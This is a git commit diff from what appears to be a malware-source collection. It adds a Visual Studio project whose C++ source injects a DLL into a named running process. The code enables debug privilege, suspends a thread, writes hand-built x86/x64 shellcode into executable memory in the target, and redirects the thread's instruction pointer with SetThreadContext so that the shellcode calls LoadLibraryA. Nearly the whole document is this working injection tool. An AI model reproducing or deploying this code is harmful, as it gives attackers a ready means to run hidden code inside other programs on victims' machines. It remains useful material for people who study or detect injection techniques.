updates and moves

n/a
This commit is contained in:
vxunderground
2022-04-11 20:00:13 -05:00
parent 1275ea2e03
commit 900263ea6f
809 changed files with 149115 additions and 1594 deletions
@@ -0,0 +1,26 @@
Microsoft Visual Studio Solution File, Format Version 11.00
# Visual Studio 2010
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "InjectDllBySetThreadContextx64", "InjectDllBySetThreadContextx64\InjectDllBySetThreadContextx64.vcxproj", "{A30978AA-ED87-42CC-9A57-5E52A67FF248}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Win32 = Debug|Win32
Debug|x64 = Debug|x64
Release|Win32 = Release|Win32
Release|x64 = Release|x64
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{A30978AA-ED87-42CC-9A57-5E52A67FF248}.Debug|Win32.ActiveCfg = Debug|Win32
{A30978AA-ED87-42CC-9A57-5E52A67FF248}.Debug|Win32.Build.0 = Debug|Win32
{A30978AA-ED87-42CC-9A57-5E52A67FF248}.Debug|x64.ActiveCfg = Debug|x64
{A30978AA-ED87-42CC-9A57-5E52A67FF248}.Debug|x64.Build.0 = Debug|x64
{A30978AA-ED87-42CC-9A57-5E52A67FF248}.Release|Win32.ActiveCfg = Release|Win32
{A30978AA-ED87-42CC-9A57-5E52A67FF248}.Release|Win32.Build.0 = Release|Win32
{A30978AA-ED87-42CC-9A57-5E52A67FF248}.Release|x64.ActiveCfg = Release|x64
{A30978AA-ED87-42CC-9A57-5E52A67FF248}.Release|x64.Build.0 = Release|x64
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
@@ -0,0 +1,356 @@
// InjectDllBySetThreadContextx64.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include <iostream>
using namespace std;
#include <windows.h>
#include "tlhelp32.h"
BYTE ShellCode[64]=
{
0x60,
0x9c,
0x68, //push
0xaa,0xbb,0xcc,0xdd,//dll path +3 dll最目标进程中的地址
0xff,0x15, //call 这里感觉有点乱,我在64下直接call 相对地址
0xdd,0xcc,0xbb,0xaa,//+9 LoadLibrary Addr Addr
0x9d,
0x61,
0xff,0x25, //jmp
0xaa,0xbb,0xcc,0xdd,// +17 jmp eip
0xaa,0xaa,0xaa,0xaa,// loadlibrary addr
0xaa,0xaa,0xaa,0xaa// jmpaddr +25
// +29
};
/*
{
00973689 > 60 PUSHAD
0097368A 9C PUSHFD
0097368B 68 50369700 PUSH notepad.00973650
00973690 FF15 70369700 CALL DWORD PTR DS:[973670]
00973696 9D POPFD
00973697 61 POPAD
00973698 - FF25 30369700 JMP DWORD PTR DS:[973630]
}
*/
BYTE ShellCode64[64]=
{
0x48,0x83,0xEC,0x28, // sub rsp ,28h
0x48,0x8D,0x0d, // [+4] lea rcx,
0xaa,0xbb,0xcc,0xdd, // [+7] dll path offset = TargetAddress- Current(0x48)[+4] -7
0x48, 0xB8,
0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc,
0xff, 0xd0,
0x48,0x83,0xc4,0x28, // [+16] add rsp,28h
//0xcc, 调试时断下来的int 3 正常运行的时候非常傻逼的没有请掉...难怪一直死
0xff,0x25, // [+20]
0xaa,0xbb,0xcc,0xdd, // [+22] jmp rip offset = TargetAddress - Current(0xff)[+20] - 6
0xaa,0xbb,0xcc,0xdd, //+26
0xaa,0xbb,0xcc,0xdd
//+34
};
BOOL EnableDebugPriv() ;
BOOL StartHook(HANDLE hProcess,HANDLE hThread);
DWORD main_GetProcessIdByName(LPWSTR pszProcessName, PDWORD pdwProcessId)
{
DWORD dwProcessId = 0;
HANDLE hSnapshot = NULL;
PROCESSENTRY32 pe = { 0 };
DWORD eReturn = 0;
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (NULL == hSnapshot)
{
eReturn = -1;
printf("CreateToolhelp32Snapshot error. GLE: %d.", GetLastError());
goto lblCleanup;
}
pe.dwSize = sizeof(PROCESSENTRY32);
if (FALSE == Process32First(hSnapshot, &pe))
{
eReturn = -1;
printf("Process32First error. GLE: %d.", GetLastError());
goto lblCleanup;
}
do
{
if (NULL != wcsstr(pe.szExeFile, pszProcessName))
{
dwProcessId = pe.th32ProcessID;
break;
}
} while (Process32Next(hSnapshot, &pe));
if (0 == dwProcessId)
{
printf("[*] Process '%S' could not be found.\n\n\n", pszProcessName);
eReturn = -1;
goto lblCleanup;
}
printf("[*] Found process '%S'. PID: %d (0x%X).\n\n\n", pszProcessName, dwProcessId, dwProcessId);
*pdwProcessId = dwProcessId;
eReturn = 0;
lblCleanup:
if ((NULL != hSnapshot) && (INVALID_HANDLE_VALUE != hSnapshot))
{
CloseHandle(hSnapshot);
hSnapshot = NULL;
}
return eReturn;
}
int _tmain(int argc, _TCHAR* argv[])
{
EnableDebugPriv() ;
DWORD ProcessId = 0;
#ifdef _WIN64
main_GetProcessIdByName(L"targetx64.exe", &ProcessId);
#else
main_GetProcessIdByName(L"target.exe", &ProcessId);
#endif
HANDLE Process = OpenProcess(PROCESS_ALL_ACCESS,NULL,ProcessId);
if(Process == NULL)
{
printf("OpenProcess Fail LastError [%d]\n", GetLastError());
getchar();
return 0;
}
printf("Open Process [%d] OK.\n", ProcessId);
THREADENTRY32 te32 = {sizeof(THREADENTRY32)} ;
HANDLE hThreadSnap = CreateToolhelp32Snapshot (TH32CS_SNAPTHREAD, 0) ;
if ( hThreadSnap == INVALID_HANDLE_VALUE )
{
printf("CreateToolhelp32Snapshot fail LastError [%d]\n", GetLastError());
getchar();
return FALSE;
}
if (Thread32First(hThreadSnap, &te32))
{
do{
if(te32.th32OwnerProcessID == ProcessId)
{
HANDLE Thread = OpenThread(THREAD_ALL_ACCESS,NULL,te32.th32ThreadID);
if(Thread == NULL)
{
printf("OpenThread Failed LastError [%d]\n", GetLastError());
break;
}
SuspendThread(Thread);
printf("start Hook.\n");
if (!StartHook(Process,Thread))
{
printf("失败\n");
getchar();
}
else
{
CloseHandle(Thread);
break;
}
CloseHandle(Thread);
}
}while(Thread32Next(hThreadSnap, &te32));
}
CloseHandle(Process);
CloseHandle(hThreadSnap);
getchar();
}
BYTE *DllPath;
BOOL StartHook(HANDLE hProcess,HANDLE hThread)
{
#ifdef _WIN64
CONTEXT ctx;
ctx.ContextFlags=CONTEXT_ALL;
if (!GetThreadContext(hThread,&ctx))
{
printf("GetThreadContext Error LastError [%d]\n", GetLastError());
return FALSE;
}
printf("getThreadContext OK.\n");
LPVOID LpAddr=VirtualAllocEx(hProcess,NULL,64,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
if (LpAddr==NULL)
{
printf("VirtualAlloc Error LastError [%d]\n", GetLastError());
return FALSE;
}
DWORD64 LoadDllAAddr=(DWORD64)GetProcAddress(GetModuleHandle(L"kernel32.dll"),"LoadLibraryA");
if (LoadDllAAddr==NULL)
{
printf("LoadDllAddr error LastError [%d]\n", GetLastError());
return FALSE;
}
/*
0x48,0x83,0xEC,0x28, //sub rsp ,28h
0x48,0x8D,0x0d, // [+4] lea rcx,
0xaa,0xbb,0xcc,0xdd, // [+7] dll path offset = TargetAddress- Current(0x48)[+4] -7
0x48, 0xB8, // [+11]mov rax, ptr
0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc,
0xff, 0xd0, // [+21] call rax
0x48,0x83,0xc4,0x28, // [+23] add rsp,28h
0xff,0x25, // [+27]
0xaa,0xbb,0xcc,0xdd, // [+29] jmp rip offset = TargetAddress - Current(0xff)[+20] - 6
0xaa,0xbb,0xcc,0xdd, //+33
0xaa,0xbb,0xcc,0xdd
//+41
*/
DllPath=ShellCode64+41;
strcpy((char*)DllPath,"Dllx64.dll");//这里是要注入的DLL名字
DWORD DllNameOffset = 30;// ((BYTE*)LpAddr+34) -((BYTE*)LpAddr+4) -7 这个指令7个字节
*(DWORD*)(ShellCode64+7)=(DWORD)DllNameOffset;
////////////////
DWORD64 LoadDllAddroffset = (DWORD64)LoadDllAAddr;// - ((BYTE*)LpAddr + 11) -5; //这个指令5个字节e8 + 4addroffset
*(DWORD64*)(ShellCode64+13)=LoadDllAddroffset;
//////////////////////////////////
*(DWORD64*)(ShellCode64+33)=ctx.Rip; //64下为rip
*(DWORD*)(ShellCode64+29)= (DWORD)0; //我将地址放在+26的地方,相对offset为0
// 这里因为这样写跳转不到目标地址,故x64 应该要中转一次 相对寻址
// DWORD Ds = (DWORD)ctx.SegDs;
// DWORD RipOffset = (BYTE*)ctx.Rip - ((BYTE*)LpAddr+20) -6;
// *(DWORD*)(ShellCode64+22)=(DWORD)ctx.Rip;
////////////////////////////////////
if (!WriteProcessMemory(hProcess,LpAddr,ShellCode64,64,NULL))
{
printf("write Process Error LastError [%d]\n", GetLastError());
return FALSE;
}
ctx.Rip=(DWORD64)LpAddr;
if (!SetThreadContext(hThread,&ctx))
{
printf("set thread context error LastError [%d]\n", GetLastError());
return FALSE;
}
printf("SetThreadContext OK.\n");
ResumeThread(hThread);
return TRUE;
#else
CONTEXT ctx = {0};
ctx.ContextFlags=CONTEXT_ALL;
if (!GetThreadContext(hThread,&ctx))
{
printf("GetThreadContext Error LastError [%d]\n", GetLastError());
return FALSE;
}
printf("GetThreaxContext OK.\n");
LPVOID LpAddr=VirtualAllocEx(hProcess,NULL,64,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
if (LpAddr==NULL)
{
printf("VirtualAlloc Error LastError [%d]\n", GetLastError());
return FALSE;
}
DWORD LoadDllAAddr=(DWORD)GetProcAddress(GetModuleHandle(L"kernel32.dll"),"LoadLibraryA");
if (LoadDllAAddr==NULL)
{
printf("LoadDllAddr error LastError [%d]\n", GetLastError());
return FALSE;
}
/////////////
/*
0x60, PUSHAD
0x9c, PUSHFD
0x68, PUSH
0xaa,0xbb,0xcc,0xdd,//dll path address
0xff,0x15, CALL
0xdd,0xcc,0xbb,0xaa, offset
0x9d, POPFD
0x61, POPAD
0xff,0x25, JMP
0xaa,0xbb,0xcc,0xdd,// [xxxxx]
0xaa,0xaa,0xaa,0xaa,// LoadLibrary Address
0xaa,0xaa,0xaa,0xaa// 恢复的EIP Address
// +29 Dll名字
*/
_asm mov esp,esp
DllPath=ShellCode+29;
strcpy((char*)DllPath,"Dllx86.dll");//这里是要注入的DLL名字
*(DWORD*)(ShellCode+3)=(DWORD)LpAddr+29;
////////////////
*(DWORD*)(ShellCode+21)=LoadDllAAddr; //loadlibrary地址放入shellcode中
*(DWORD*)(ShellCode+9)=(DWORD)LpAddr+21;//修改call 之后的地址 为目标空间存放 loaddlladdr的地址
//////////////////////////////////
*(DWORD*)(ShellCode+25)=ctx.Eip;
*(DWORD*)(ShellCode+17)=(DWORD)LpAddr+25;//修改jmp 之后为原来eip的地址
////////////////////////////////////
if (!WriteProcessMemory(hProcess,LpAddr,ShellCode,64,NULL))
{
printf("write Process Error LastError [%d]\n", GetLastError());
return FALSE;
}
ctx.Eip=(DWORD)LpAddr;
if (!SetThreadContext(hThread,&ctx))
{
printf("set thread context error LastError [%d]\n", GetLastError());
return FALSE;
}
printf("SetThreadContext OK.\n");
ResumeThread(hThread);
return TRUE;
#endif
};
BOOL EnableDebugPriv()
{
HANDLE hToken;
LUID sedebugnameValue;
TOKEN_PRIVILEGES tkp;
if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken))
{
return FALSE;
}
if(!LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&sedebugnameValue))
{
CloseHandle(hToken);
return FALSE;
}
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = sedebugnameValue;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if(!AdjustTokenPrivileges(hToken,FALSE,&tkp,sizeof(tkp),NULL,NULL))
{
return FALSE;
}
CloseHandle(hToken);
return TRUE;
}
@@ -0,0 +1,152 @@
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@@ -0,0 +1,36 @@
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@@ -0,0 +1,4 @@
Inject 32 bit process by change eip to execute the shellcode which will load a dll
Inject 64 bit process by change rip to execute the shellcode which will load a dll
http://www.cnblogs.com/aliflycoris/p/5432621.html
@@ -0,0 +1,8 @@
// stdafx.cpp : 只包括标准包含文件的源文件
// InjectDllBySetThreadContextx64.pch 将作为预编译头
// stdafx.obj 将包含预编译类型信息
#include "stdafx.h"
// TODO: 在 STDAFX.H 中
// 引用任何所需的附加头文件,而不是在此文件中引用
@@ -0,0 +1,15 @@
// stdafx.h : 标准系统包含文件的包含文件,
// 或是经常使用但不常更改的
// 特定于项目的包含文件
//
#pragma once
#include "targetver.h"
#include <stdio.h>
#include <tchar.h>
// TODO: 在此处引用程序需要的其他头文件
@@ -0,0 +1,8 @@
#pragma once
// 包括 SDKDDKVer.h 将定义可用的最高版本的 Windows 平台。
// 如果要为以前的 Windows 平台生成应用程序,请包括 WinSDKVer.h,并将
// WIN32_WINNT 宏设置为要支持的平台,然后再包括 SDKDDKVer.h。
#include <SDKDDKVer.h>
@@ -0,0 +1,4 @@
Inject 32 bit process by change eip to execute the shellcode which will load a dll
Inject 64 bit process by change rip to execute the shellcode which will load a dll
http://www.cnblogs.com/aliflycoris/p/5432621.html